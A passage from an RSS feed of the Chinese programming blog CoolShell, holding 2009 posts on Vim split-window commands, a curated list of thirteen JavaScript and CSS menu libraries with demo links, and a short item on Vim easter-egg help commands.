src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/290.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"雷人的程序注释\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/290.html\" class=\"wp_rp_title\">雷人的程序注释</a></li><li ><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"九个PHP很有用的功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_title\">九个PHP很有用的功能</a></li><li ><a href=\"https://coolshell.cn/articles/2520.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/06/London-Live-Train-Map-150x150.jpg\" alt=\"伦敦地铁实时图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2520.html\" class=\"wp_rp_title\">伦敦地铁实时图</a></li><li ><a href=\"https://coolshell.cn/articles/1245.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"IE的CSS相关的BUG\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1245.html\" class=\"wp_rp_title\">IE的CSS相关的BUG</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1684.html\">把ASCII图转成图片</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1684.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Vim的分屏功能</title>\n\t\t<link>https://coolshell.cn/articles/1679.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1679.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 07 Nov 2009 03:39:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1679</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本篇文章主要教你如何使用 Vim 分屏功能。   分屏启动Vim 使用大写的O参数来垂直分屏。 vim -On file1 file2 ... 使用小写的o参数...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1679.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1679.html\">Vim的分屏功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本篇文章主要教你如何使用 <a href=\"http://www.vim.org/\">Vim</a> 分屏功能。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" style=\"display: inline;\" title=\"vim-windows\" alt=\"vim-windows\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/vimwindows.png\" width=\"550\" height=\"391\" /></p>\n<p><span id=\"more-2645\"> <img decoding=\"async\" title=\"更多...\" alt=\"\" src=\"https://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\" /><span id=\"more-1679\"></span></span></p>\n<h4>分屏启动Vim</h4>\n<ol>\n<li>使用大写的O参数来垂直分屏。\n<pre><code>vim -On file1 file2 ...</code></pre>\n</li>\n<li>使用小写的o参数来水平分屏。\n<pre><code>vim -on file1 file2 ...</code></pre>\n</li>\n</ol>\n<p><strong>注释:</strong> n是数字，表示分成几个屏。</p>\n<h4>关闭分屏</h4>\n<ol>\n<li>关闭当前窗口。\n<pre><code>Ctrl+W c</code></pre>\n</li>\n<li>关闭当前窗口，如果只剩最后一个了，则退出Vim。\n<pre><code>Ctrl+W q</code></pre>\n</li>\n</ol>\n<h4>分屏</h4>\n<ol>\n<li>上下分割当前打开的文件。\n<pre><code>Ctrl+W s</code></pre>\n</li>\n<li>上下分割，并打开一个新的文件。\n<pre><code>:sp filename</code></pre>\n</li>\n<li>左右分割当前打开的文件。\n<pre><code>Ctrl+W v</code></pre>\n</li>\n<li>左右分割，并打开一个新的文件。\n<pre>:vsp filename</pre>\n</li>\n</ol>\n<h4>移动光标</h4>\n<p>Vi中的光标键是h, j, k, l，要在各个屏间切换，只需要先按一下Ctrl+W</p>\n<ol>\n<li>把光标移到<strong>右边</strong>的屏。\n<pre><code>Ctrl+W l</code></pre>\n</li>\n<li>把光标移到<strong>左边</strong>的屏中。\n<pre><code>Ctrl+W h</code></pre>\n</li>\n<li>把光标移到<strong>上边</strong>的屏中。\n<pre><code>Ctrl+W k</code></pre>\n</li>\n<li>把光标移到<strong>下边</strong>的屏中。\n<pre><code>Ctrl+W j</code></pre>\n</li>\n<li>把光标移到<strong>下一个</strong>的屏中。.\n<pre>Ctrl+W w</pre>\n</li>\n</ol>\n<h4>移动分屏</h4>\n<p>这个功能还是使用了Vim的光标键，只不过都是大写。当然了，如果你的分屏很乱很复杂的话，这个功能可能会出现一些非常奇怪的症状。</p>\n<ol>\n<li>向右移动。\n<pre><code>Ctrl+W L</code></pre>\n</li>\n<li>向左移动\n<pre><code>Ctrl+W H</code></pre>\n</li>\n<li>向上移动\n<pre><code>Ctrl+W K</code></pre>\n</li>\n<li>向下移动\n<pre><code>Ctrl+W J</code></pre>\n</li>\n</ol>\n<h4>屏幕尺寸</h4>\n<p>下面是改变尺寸的一些操作，主要是高度，对于宽度你可以使用[Ctrl+W &lt;]或是[Ctrl+W &gt;]，但这可能需要最新的版本才支持。</p>\n<ol>\n<li>让所有的屏都有一样的高度。\n<pre><code>Ctrl+W =</code></pre>\n</li>\n<li>增加高度。\n<pre><code>Ctrl+W +</code></pre>\n</li>\n<li>减少高度。\n<pre><code>Ctrl+W -</code></pre>\n</li>\n</ol>\n<p><code>也许还有其它我不知道的，欢迎你补充。</code></p>\n<p><code>（全文完）</code><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1679.html\">Vim的分屏功能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1679.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>147</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>13个不错的Javascript和CSS的菜单</title>\n\t\t<link>https://coolshell.cn/articles/1660.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1660.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 04 Nov 2009 11:23:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Menu]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1660</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前发布过两篇文章——“30种时尚的CSS网站导航条”和“20个优秀的Javascript导航技术”，今天向大家介绍一下，13个不错的Javascript和CS...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1660.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1660.html\">13个不错的Javascript和CSS的菜单</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前发布过两篇文章——“<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/562.html\">30种时尚的CSS网站导航条</a>”和“<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/918.html\">20个优秀的Javascript导航技术</a>”，今天向大家介绍一下，13个不错的Javascript和CSS的菜单。</p>\n<p>1) <a href=\"http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools\">性感的滑动型菜单</a> </p>\n<p><a href=\"http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/4996deb5bbd70cc8d71bc51ec8954385.gif\" alt=\"Sexy-menu - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://www.andrewsellick.com/examples/sliding-side-bar/\" target=\"_blank\">Mootols Version</a><br />\n演示：<a title=\"Demo\" href=\"http://www.andrewsellick.com/examples/sliding-side-bar-scriptaculous/\" target=\"_blank\">Script.aculo.usVersion</a></p>\n<p> </p>\n<p><span id=\"more-1660\"></span></p>\n<hr class=\"dotted\" />2) <a href=\"http://labs.activespotlight.net/jQuery/menu_demo.html\">FastFind 菜单</a> 右键菜单，还可以被拖来拖去。使用 <em>jQuery</em> 。</p>\n<p><a href=\"http://labs.activespotlight.net/jQuery/menu_demo.html\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/2c3645511db61a6d2c008aacf5d1b5d3.gif\" alt=\"Fastfind - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://labs.activespotlight.net/jQuery/menu_demo.html\" target=\"_blank\">FastFind Menu</a></p>\n<p> </p>\n<hr class=\"dotted\" />3) <a href=\"http://2210media.com/dock_menu/\">Webber 2.0 Dock 菜单</a></p>\n<p><a href=\"http://2210media.com/dock_menu/\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/b959949728d1df1f380f68fdd30a345a.gif\" alt=\"Dockmenu - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://2210media.com/dock_menu/\" target=\"_blank\">Webber 2.0 Dock Menu</a></p>\n<p> </p>\n<hr class=\"dotted\" />4) <a href=\"http://www.phatfusion.net/\">Phatfusion- 图片菜单</a> 使用了onClick 事件来 open 和 close 菜单项。</p>\n<p><a href=\"http://www.phatfusion.net/imagemenu/index.htm\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/7c8a1d7b798d4a2d919eb83a792b71f0.jpg\" alt=\"Phatfusion - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://www.phatfusion.net/imagemenu/index.htm\" target=\"_blank\">Phatfusion- Image Menu</a><br />\n演示： <a title=\"Demo\" href=\"http://www.artviper.de/ImageMenu/\" target=\"_blank\">Mootools version with XML parser</a></p>\n<p> </p>\n<hr class=\"dotted\" />5) <a href=\"http://extjs.com/deploy/dev/examples/tree/reorder.html\">可拖动的树形菜单</a></p>\n<p> <a href=\"http://extjs.com/deploy/dev/examples/tree/reorder.html\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/a999b2c5c2b62e523654a43d8f2d379b.gif\" alt=\"Tree - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://extjs.com/deploy/dev/examples/tree/reorder.html\" target=\"_blank\">Drag and Drop ordering in a TreePanel</a></p>\n<p> </p>\n<hr class=\"dotted\" />6) <a href=\"http://www.thinkvitamin.com/\">自定义的菜单事件</a></p>\n<p><a href=\"http://www.thinkvitamin.com/misc/yui-demos/demo-10.html\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/f049f6dba56c3ff488dcf9d0dba9181a.gif\" alt=\"Custom - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://www.thinkvitamin.com/misc/yui-demos/demo-10.html\" target=\"_blank\">Custom Menu Events | ThinkVitamin.com</a></p>\n<p> </p>\n<hr class=\"dotted\" />7) <a href=\"http://yura.thinkweb2.com/scripting/contextMenu/\">右键菜单 </a></p>\n<p><a href=\"http://yura.thinkweb2.com/scripting/contextMenu/\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/d593bc2e237bc06e6f28e7ccf999eb2b.jpg\" alt=\"Custom - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://yura.thinkweb2.com/scripting/contextMenu/\" target=\"_blank\">Context Menu Functionality</a><br />\n演示：<a title=\"demo\" href=\"http://utils.softr.net/contextmenoo-menu-contextual-con-mootools/\" target=\"_blank\">Another Context Menu</a></p>\n<p> </p>\n<hr class=\"dotted\" />8 ) <a href=\"http://gmarwaha.com/blog/?p=7\">LavaLamp jQuery 滑动菜单 </a></p>\n<p><a href=\"http://gmarwaha.com/blog/?p=7\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/670a6412233b77ecbccf70047b6d75ac.gif\" alt=\"Lavalamp - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://gmarwaha.com/blog/?p=7\" target=\"_blank\">LavaLamp jQuery Sliding Menu</a><br />\n演示： <a title=\"Demo\" href=\"http://devthought.com/cssjavascript-true-power-fancy-menu/\" target=\"_blank\">Mootools Fancy Menu</a></p>\n<p> </p>\n<hr class=\"dotted\" />9 ) <a href=\"http://www.dynamicdrive.com/dynamicindex1/slashdot.htm\">折叠式菜单</a></p>\n<p><a href=\"http://www.dynamicdrive.com/dynamicindex1/slashdot.htm\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/62922536936df5e7c844afa1e86cb606.gif\" alt=\"9 - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://www.dynamicdrive.com/dynamicindex1/slashdot.htm\" target=\"_blank\">Slashdot Menu</a></p>\n<p> </p>\n<hr class=\"dotted\" />10 ) <a href=\"http://www.artviper.eu/mootoolsmenu/\" target=\"new\">Mootools层叠式菜单</a></p>\n<p><a href=\"http://www.artviper.eu/mootoolsmenu/\" target=\"new\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/ef8e08b0a9bf0ff831ac0b5078d74115.jpg\" alt=\"10 - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://www.artviper.eu/mootoolsmenu/\" target=\"new\">Mootools menu with Accordeon and Effects</a></p>\n<p> </p>\n<hr class=\"dotted\" />11 ) <a href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\" target=\"new\">CSS Dock 菜单</a> 模仿Mac 电脑界面。 </p>\n<p><a href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\" target=\"new\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/c995589668f5cafebb326f51458507fd.gif\" alt=\"11 - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\" target=\"new\">CSS Dock Menu</a></p>\n<p> </p>\n<hr class=\"dotted\" />12 ) <a href=\"http://www.getintothis.com/pub/projects/rb_menu/\" target=\"new\">jQuery 插件：滑动式菜单</a></p>\n<p><a href=\"http://www.getintothis.com/pub/projects/rb_menu/\" target=\"new\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/e89c0f8090dfdf15f02ca59ca26790d1.gif\" alt=\"12 - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://www.getintothis.com/pub/projects/rb_menu/\" target=\"new\">jQuery Plugin: Sliding Menu</a></p>\n<p> </p>\n<hr class=\"dotted\" />13 ) <a href=\"http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/\" target=\"new\">折叠式菜单</a></p>\n<p><a href=\"http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/\" target=\"new\"><img decoding=\"async\" src=\"http://9tricks.com/wp-content/uploads/HLIC/0a9da228f5264becdc2aac4296776f35.gif\" alt=\"13 - 13不错的Javascript CSS菜单\" /></a></p>\n<p>演示： <a title=\"Demo\" href=\"http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/\" target=\"new\">Accessible expanding and collapsing menu</a></p>\n<p>文章：<a href=\"http://9tricks.com/web-dev/13-awesome-javascript-css-menus/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" alt=\"30+ Web下拉菜单\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_title\">30+ Web下拉菜单</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1660.html\">13个不错的Javascript和CSS的菜单</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1660.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>VIM有趣的命令</title>\n\t\t<link>https://coolshell.cn/articles/1651.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1651.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[joe]]></dc:creator>\n\t\t<pubDate>Wed, 04 Nov 2009 11:05:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1651</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前几天逛豆瓣，发现了VIM一个有趣的小技巧。 在VIM中输入:h!试试看会发现什么。 再输入:h 42呢？又会有什么发现？ （转载本站文章请注明作者和出处 酷 ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1651.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1651.html\">VIM有趣的命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前几天逛豆瓣，发现了VIM一个有趣的小技巧。</p>\n<p>在VIM中输入:h!试试看会发现什么。</p>\n<p>再输入:h 42呢？又会有什么发现？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1651.html\">VIM有趣的命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 